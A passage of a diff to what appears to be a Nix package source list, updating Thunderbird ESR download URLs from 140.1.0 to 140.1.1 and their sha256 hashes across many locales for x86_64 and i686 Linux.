+      sha256 = "1e6c192a966e370b71635c3b667f751d030ec94647ea4375935c27adfeaa5d77";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/sr/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/sr/thunderbird-140.1.1esr.tar.xz";
       locale = "sr";
       arch = "linux-x86_64";
-      sha256 = "4c1fb26634504c25f90d9f7ef068fe24a6b45e74b71fc0f1ea286d76a9a6a237";
+      sha256 = "430c02a5a7be79135503fd0ce959dfecee7e5de44018c4cb27901bc8a727c33b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/sv-SE/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/sv-SE/thunderbird-140.1.1esr.tar.xz";
       locale = "sv-SE";
       arch = "linux-x86_64";
-      sha256 = "bb5050a394dd02fdbf2ec66a81b0743df1fd222ff4d3739ac15783e55a253076";
+      sha256 = "f1925d6fd429133598c8b79ad11ffb01f27ccc3f016da9321204ca92fd4848ab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/th/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/th/thunderbird-140.1.1esr.tar.xz";
       locale = "th";
       arch = "linux-x86_64";
-      sha256 = "45ce34a41fd4c791d0908e5cbce8c40dbd0cf6afe91092afc6b1220da4e7a622";
+      sha256 = "e19e8d275e1c898f7c69b9f76012808ce55d5ecbacc841beb603bfc7a6fd27f4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/tr/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/tr/thunderbird-140.1.1esr.tar.xz";
       locale = "tr";
       arch = "linux-x86_64";
-      sha256 = "517376a8eb347f46122ed145fd3ea857f54848055777dad9fa1e0747086300c1";
+      sha256 = "dc628f393b9090fd4609cce6866af90a704c9ee0f64ca4cfff09f23b8b0b45c1";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/uk/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/uk/thunderbird-140.1.1esr.tar.xz";
       locale = "uk";
       arch = "linux-x86_64";
-      sha256 = "ac4b3d55d37d372accc01ff898aeb9b63567c896ca26cf11ab3e6a606b4be502";
+      sha256 = "adafffc44db7c8eb9f1725803da72012b17aa6df3ce5321aed953d607f6fcbc9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/uz/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/uz/thunderbird-140.1.1esr.tar.xz";
       locale = "uz";
       arch = "linux-x86_64";
-      sha256 = "c6dd141c2a3287c67d9a8d0291e229b0959c5d60fc2a1f364e27a4cca5b5e9e4";
+      sha256 = "09221ee37ce66aff9f63bb2a5217f3b7219754b8b7b920fb607ef301f164e547";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/vi/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/vi/thunderbird-140.1.1esr.tar.xz";
       locale = "vi";
       arch = "linux-x86_64";
-      sha256 = "10c501d1f7c7b19419c93e96e1d16b979a716a413e95dc564f716d3a17e4e57c";
+      sha256 = "a0a1234ce4d2370d263d50a3467c5327095c386943da4c01be4dd0ae95bd2c97";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/zh-CN/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/zh-CN/thunderbird-140.1.1esr.tar.xz";
       locale = "zh-CN";
       arch = "linux-x86_64";
-      sha256 = "4c03277dffdb5fad1746a25084a1acd1c5598385b7637a814cbd50a451367a0c";
+      sha256 = "f89fee533f778038626f3c7fa69e09cbad6a1f79f8dd5045cdf645d3f16ba774";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-x86_64/zh-TW/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/zh-TW/thunderbird-140.1.1esr.tar.xz";
       locale = "zh-TW";
       arch = "linux-x86_64";
-      sha256 = "4caa008fd9db5a8857235dec756b65e699cae7fab055891fb18815bae3208097";
+      sha256 = "bcb095905122172714cb4a8f587c2eba8b882a71fa51c9668bd957a0cfad0eef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/af/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/af/thunderbird-140.1.1esr.tar.xz";
       locale = "af";
       arch = "linux-i686";
-      sha256 = "5f4b14c25933ec409fb3d9572e014dac2684e5ca22453154906d51a3eae9c40c";
+      sha256 = "6cc4f11c76fbe3f2e3ee273e10ae69e58c0fd8ff14893e2e3077ede0a046ce6f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ar/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ar/thunderbird-140.1.1esr.tar.xz";
       locale = "ar";
       arch = "linux-i686";
-      sha256 = "6b750f6fc7cfbbf1d31c9abba2eb6cf0e5dea5b453e00321ecdf2cbf37003580";
+      sha256 = "aa6572aa65a2049d5aae97740822f1ce6405328de8c28c51a43f161a4473d517";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ast/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ast/thunderbird-140.1.1esr.tar.xz";
       locale = "ast";
       arch = "linux-i686";
-      sha256 = "0ece544cfd1ef3ed853292a301571617ef2713997f79ef4085fecfdfb3fcb574";
+      sha256 = "1caae0a85b4b4f70336fafdf6f422213df8f1702ed3c2a5da19a261f7834426a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/be/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/be/thunderbird-140.1.1esr.tar.xz";
       locale = "be";
       arch = "linux-i686";
-      sha256 = "8445c73f54a103d9877e88bc6e84488519a2b8505e079c13f3b76debe68dce63";
+      sha256 = "79e43954c8ec7f1a81f2145158d58a78f660dc7e09b1f0355b65199678c4ad76";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/bg/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/bg/thunderbird-140.1.1esr.tar.xz";
       locale = "bg";
       arch = "linux-i686";
-      sha256 = "47761fd0d34f933752805e5cc9dc3f7442a3cce39935b286f5fcd0ecab843fad";
+      sha256 = "231a740b88896635a72857d592f004963ff0445885f107198a9562066ae81810";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/br/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/br/thunderbird-140.1.1esr.tar.xz";
       locale = "br";
       arch = "linux-i686";
-      sha256 = "d020d8b0ab7d8c074ce039ed74ef99e9165019fd4133411c6cf3f265bcc307a1";
+      sha256 = "05b58365bb73e856bfd245ee8826ab3184c2ffd5614a8e2b163d942dbcc50e8b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ca/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ca/thunderbird-140.1.1esr.tar.xz";
       locale = "ca";
       arch = "linux-i686";
-      sha256 = "7c180bb8e449d82a572c278e454ab7a1f5d46df2da2c24bffedd688b8bfeb1d9";
+      sha256 = "a71da18c8bcd197aaf02041005abef2215f4ce4ac0ed3928572664e945e8e114";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/cak/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/cak/thunderbird-140.1.1esr.tar.xz";
       locale = "cak";
       arch = "linux-i686";
-      sha256 = "c9b24186d006890348c41ede9d2dfce402ccbc2cb2ba5185a238fb59d1197c6b";
+      sha256 = "e4e5e7a6640c1e44d8ecb14ae850fb4d1b799a553ff3331ee601c5d324c93a04";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/cs/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/cs/thunderbird-140.1.1esr.tar.xz";
       locale = "cs";
       arch = "linux-i686";
-      sha256 = "bbcca13731b5c39176703339b60085660bc16e282cff3741fbfa413f06cafc15";
+      sha256 = "7d9f928ee3762f1263e7d7e62cd4b64a1187bb4b35fe4585d909a2204fa41ccc";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/cy/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/cy/thunderbird-140.1.1esr.tar.xz";
       locale = "cy";
       arch = "linux-i686";
-      sha256 = "583351d8a8f03abc2d3fe3cac92f7ddf28c3fc5d718970361a168d223e46574a";
+      sha256 = "d82180d62d4d76f2fb2fe95d9f25f5e409910ef6d0d96d1de98b56bd11a70b2c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/da/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/da/thunderbird-140.1.1esr.tar.xz";
       locale = "da";
       arch = "linux-i686";
-      sha256 = "27952731923609b9572b57376dc8da178dcda0b79a40bae31602a17da34ae9ee";
+      sha256 = "4fd3babf16ca6b7e5eb7572a887b4b7ef52740d6f3c6163a53321bfd61f55c11";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/de/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/de/thunderbird-140.1.1esr.tar.xz";
       locale = "de";
       arch = "linux-i686";
-      sha256 = "1800c1ca5215096e32a7df7a24186658630a57b493e9a44e4f74bbadb40aaaae";
+      sha256 = "0c365cccdd4b0de3f66f2b72858fc6bb28a7bc0a14787d3b3f41d8cfd5b5dde3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/dsb/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/dsb/thunderbird-140.1.1esr.tar.xz";
       locale = "dsb";
       arch = "linux-i686";
-      sha256 = "eedd3e40313857803179ca96b748a533d7065cf259f9d124c780269a61629918";
+      sha256 = "7db8f759632c59b9ed6748f0749edd1ecbef9f3b2d6a3e298cd77f752ee091d3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/el/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/el/thunderbird-140.1.1esr.tar.xz";
       locale = "el";
       arch = "linux-i686";
-      sha256 = "84de3cd0f556c594ebe6e10dd899b366715f7000f9e73353c24514b70b35bd8e";
+      sha256 = "a8d1a0161c10f1f169bf55840813994f8c1b548bdec13a588f7fd87729ce4423";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/en-CA/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/en-CA/thunderbird-140.1.1esr.tar.xz";
       locale = "en-CA";
       arch = "linux-i686";
-      sha256 = "92e186709974e6d8bdc60d0045c25cb2bd7bdaab3ccdcb3421c30fa2e26dfc16";
+      sha256 = "8ef975087636a58dbc7466f4aebddedbc8f9d0708300fccbdcaf3a588f3610c4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/en-GB/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/en-GB/thunderbird-140.1.1esr.tar.xz";
       locale = "en-GB";
       arch = "linux-i686";
-      sha256 = "7d1d61600099a211b44a2fe4b7c3995ca5965a501b1ae3326b513dbc26595072";
+      sha256 = "c1da1df9c9fea23f71cd03523d362931eb1e45f8c03cf89e3793dbcb76fc8f84";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/en-US/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/en-US/thunderbird-140.1.1esr.tar.xz";
       locale = "en-US";
       arch = "linux-i686";
-      sha256 = "4623dcd577de6a7bf1c27d62511577a92fb385fff78d1b6e3b8833ff33cd76e4";
+      sha256 = "c0047d20438a99c7d2bc936e6c5b713673c028c786b526c89a432d42b7defad3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/es-AR/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/es-AR/thunderbird-140.1.1esr.tar.xz";
       locale = "es-AR";
       arch = "linux-i686";
-      sha256 = "850acfc9a555c1f2804e97da30f49ef0d9fa599cb105607576a9667f2b21e5ef";
+      sha256 = "9a72134b0d3d0c8c9d927f4b62ac46abdc95a0c356588729beb03ca72d27db27";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/es-ES/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/es-ES/thunderbird-140.1.1esr.tar.xz";
       locale = "es-ES";
       arch = "linux-i686";
-      sha256 = "d7a020c404ac8410dd0e3232dd5b3e86678cffd6daf7f0426257450530b3e454";
+      sha256 = "2803618d6d57e7f684baedbbd363f3630ce0c1aad9cb20b8628258663846dc38";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/es-MX/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/es-MX/thunderbird-140.1.1esr.tar.xz";
       locale = "es-MX";
       arch = "linux-i686";
-      sha256 = "6061acc4ef2d31807b05c040a6fcc6ff7ee4163fe2b7f1c2b2c328ddddf7f49a";
+      sha256 = "4b27c807a8924f15ec970247d4004e04761a6a03900becf9b92f97317d933bfa";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/et/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/et/thunderbird-140.1.1esr.tar.xz";
       locale = "et";
       arch = "linux-i686";
-      sha256 = "7d89492e8a4163f5a2ed0af2076dfe8cfbb61a0d520c857852d6b2a16a4c5d63";
+      sha256 = "c27b006c65b2a4be498d71e7db794d9071c3b57db797fee96fea88e78ff87f9e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/eu/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/eu/thunderbird-140.1.1esr.tar.xz";
       locale = "eu";
       arch = "linux-i686";
-      sha256 = "a7d9a8587dbd66998640f4acf14ca68804007abc974beb6ce41f301e2a3a80bf";
+      sha256 = "72a63b9531ef73dfa331f3440e3e8963ad33aa6ccfb712c8a466ab2025451004";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/fi/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/fi/thunderbird-140.1.1esr.tar.xz";
       locale = "fi";
       arch = "linux-i686";
-      sha256 = "b73eece96944a0a2f1b09ba60669e38228fe70a936052c4c1c65373a6348bdfc";
+      sha256 = "4533513888fe7e5b14933f2171478f4694bc18da21d84762024407b2240a6729";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/fr/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/fr/thunderbird-140.1.1esr.tar.xz";
       locale = "fr";
       arch = "linux-i686";
-      sha256 = "c5fd675249401d7fff4edf40b96359fbac733ab27001932e1adbb67f386d77d9";
+      sha256 = "fce8ed9c53637a57ec649b4246a8770e1e0ff6303820f329decb09d0f2f30af8";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/fy-NL/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/fy-NL/thunderbird-140.1.1esr.tar.xz";
       locale = "fy-NL";
       arch = "linux-i686";
-      sha256 = "3f3c6b9114b3c41a543a9314a1157adb796480dec492c3db6445d93ca4cd111e";
+      sha256 = "8ad62f7d30d366e29debb8c38d2b34519773d33eb7cbb042b780d66c30a1a8db";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ga-IE/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ga-IE/thunderbird-140.1.1esr.tar.xz";
       locale = "ga-IE";
       arch = "linux-i686";
-      sha256 = "f81b5f741586d19b9e501b26ec4f3a1e132a730d2368add86b25df10a152eabf";
+      sha256 = "089e521b1690ed1878e9bff96329c0d7b659d1dd0c51d134b23e29d6fd494f0b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/gd/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/gd/thunderbird-140.1.1esr.tar.xz";
       locale = "gd";
       arch = "linux-i686";
-      sha256 = "330524b234f42f3828362a31e7daafd021cef7abe800e3c5a12829d7f91b22eb";
+      sha256 = "c697bb069bc2a01ff952fb5a6b735aebbcfcd5430c369078c50be945a082a4ef";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/gl/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/gl/thunderbird-140.1.1esr.tar.xz";
       locale = "gl";
       arch = "linux-i686";
-      sha256 = "2be9e30b796eba8a282abbd8cc94fc311f0a9d5501e7a30c6112ceccaaa67a58";
+      sha256 = "1b68ede56cfe8e3e60760d9e18581570cf1733396c028a83f74c6ae9b8280e0c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/he/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/he/thunderbird-140.1.1esr.tar.xz";
       locale = "he";
       arch = "linux-i686";
-      sha256 = "3c47ebe0dd8597b126215fd19b491cc9aa88287f8626832f0ce2fd7dcd65790f";
+      sha256 = "5d9c73f63868a2faec39837b500a37ea7187da3d468caa4333da666cea259a59";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/hr/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/hr/thunderbird-140.1.1esr.tar.xz";
       locale = "hr";
       arch = "linux-i686";
-      sha256 = "86d4e30f4079e7582bf14d01e83a91585095dd0b5fccd95e169a8496d720d8f4";
+      sha256 = "4ce9e441a7945c3f400f262b48b6ecd7db576b131144bcdd9769d11677ac3b3a";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/hsb/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/hsb/thunderbird-140.1.1esr.tar.xz";
       locale = "hsb";
       arch = "linux-i686";
-      sha256 = "45b75eab27d8a74f5f7be211c7382612d37dcf9a9ad33d838648883b96a510bf";
+      sha256 = "823fc181b40237cb569634ee2cbaf1538e5b508fec748d92ec3b0bed7ee1615d";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/hu/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/hu/thunderbird-140.1.1esr.tar.xz";
       locale = "hu";
       arch = "linux-i686";
-      sha256 = "c621ad7ff9a01e22cde05394a68ac4b54393bb58650b7763efe95617e0cd7242";
+      sha256 = "aaf03a448ed57b22e1c87dcf6de24a937099611699d6b5e567192c9f03f2c8f3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/hy-AM/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/hy-AM/thunderbird-140.1.1esr.tar.xz";
       locale = "hy-AM";
       arch = "linux-i686";
-      sha256 = "ec2afa8ac29bab5ff0c67fd1abfde2404db43c087ef860637ca0a933b2fef159";
+      sha256 = "e751a26797c842dd64ce6fc3712cb9101fcd15b7f7548a11efa7db8382af6191";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/id/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/id/thunderbird-140.1.1esr.tar.xz";
       locale = "id";
       arch = "linux-i686";
-      sha256 = "aa0a1398aca929c4a9f2bced462434e05ae5d0562c0fba833d16c0961e9a1150";
+      sha256 = "e081ca14bb75d1c266e210ddc015276197303cea85744a3bde34999f8cc30bbd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/is/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/is/thunderbird-140.1.1esr.tar.xz";
       locale = "is";
       arch = "linux-i686";
-      sha256 = "70ebc00f1bf1743c07abda9bf98df1c737753a27cd760b5d6a222a96b4043fcd";
+      sha256 = "7638ea46add63843183d2af644ba2fc0de7f5bc2c5e7e0fd8160edeabf962b3c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/it/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/it/thunderbird-140.1.1esr.tar.xz";
       locale = "it";
       arch = "linux-i686";
-      sha256 = "b23d8e005269f0ea3d4c97dca1fc21214265cf457ae2f8cba87db0cc60366302";
+      sha256 = "f8089c7ef857bd840e5b6b4639b808a5cf4b2328649f8e9aa6141f185a7aa652";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ja/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ja/thunderbird-140.1.1esr.tar.xz";
       locale = "ja";
       arch = "linux-i686";
-      sha256 = "8fbe63e06fd43c465e7619a819fa14de7b6d50fd04c58f2f3dde90d62cbfe5c1";
+      sha256 = "c860b26c7c4efc666198e5e77bae6be8b8a71695e47138404f2f180bbebdceb4";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ka/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ka/thunderbird-140.1.1esr.tar.xz";
       locale = "ka";
       arch = "linux-i686";
-      sha256 = "8c6ecc716720492d4c466129954cf3ec83ed9ea8cff062a38cdb4b0a1712a697";
+      sha256 = "e7358880c8d23a1b8b3bb1cf422b36d729570005c4402b8d45a303017ed8356b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/kab/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/kab/thunderbird-140.1.1esr.tar.xz";
       locale = "kab";
       arch = "linux-i686";
-      sha256 = "bf3c6d10f74e3c02f5a17e92835218c4bd3130a1262902953bef49e767179c2a";
+      sha256 = "c8c4ccb172473da7ddf1c0ddaa02893841e7a626e8637a0e8131a9b5ac977339";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/kk/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/kk/thunderbird-140.1.1esr.tar.xz";
       locale = "kk";
       arch = "linux-i686";
-      sha256 = "6da2e59a7cbd4e57f69e2a22b1bcd1afb502bfa10dd81c7b6190107c18bece02";
+      sha256 = "65f18363990578d048a278d26050bef7dd63aebc39e1ddbb4da7402f0ece5a8b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ko/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ko/thunderbird-140.1.1esr.tar.xz";
       locale = "ko";
       arch = "linux-i686";
-      sha256 = "b96b273d2dbaa51180a8c308b72a564a967b2fb0dc08497fdf1ac71354c16c55";
+      sha256 = "53cc7aa0a4514463bc9763e7e647c23b72222aa0e6b0967bb8ec4ace1c25ed87";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/lt/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/lt/thunderbird-140.1.1esr.tar.xz";
       locale = "lt";
       arch = "linux-i686";
-      sha256 = "db3a83fe0de9072d81710a0b8c1db55086a5d93cb3a10bfee9ec92e484a8310b";
+      sha256 = "413d6886dccab5d313c0e6ac960b46844116b65ba3f126ba7c3bee84bdb32c86";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/lv/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/lv/thunderbird-140.1.1esr.tar.xz";
       locale = "lv";
       arch = "linux-i686";
-      sha256 = "e5aec4225d1390edc4d69d1a4f501eda93b6ca282f37e229d82461ecf42d1eb5";
+      sha256 = "a778eec1eabf317759db6378e0aaeabc7cc371906424f257ea0660abc510c17b";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/ms/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/ms/thunderbird-140.1.1esr.tar.xz";
       locale = "ms";
       arch = "linux-i686";
-      sha256 = "aaf32b80d7aa529ac7fa9aad46ad7cbd0c037f1cc6185f47b1a7ee4fd77bbcbf";
+      sha256 = "b36044e05b85912a270314d65ef32644b5eb65db219538c4e7830233b5760b9e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/nb-NO/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/nb-NO/thunderbird-140.1.1esr.tar.xz";
       locale = "nb-NO";
       arch = "linux-i686";
-      sha256 = "720568948fd135e9d28631fa726ce3975c1a2c40f6f82081b9fb7b2b726861ad";
+      sha256 = "addba688057aa799ef23bcb5193016d1f31ed1673ae19d6db1daa7a1f6903eac";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/nl/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/nl/thunderbird-140.1.1esr.tar.xz";
       locale = "nl";
       arch = "linux-i686";
-      sha256 = "dc1859071f8c0dc792adc4782c13d09a05524b300ab3727a3bddc84526264271";
+      sha256 = "3099e74e36e02f895c5cc4881b2ccd1406e6b77093400d65c14938790bf0dbab";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.0esr/linux-i686/nn-NO/thunderbird-140.1.0esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-i686/nn-NO/thunderbird-140.1.1esr.tar.xz";
       locale = "nn-NO";
       arch = "linux-i686";
-      sha256 = "3efdaafa510c361ecf86ebe39b2ebf8cf43abeed88722021bdd1260e011c2257";
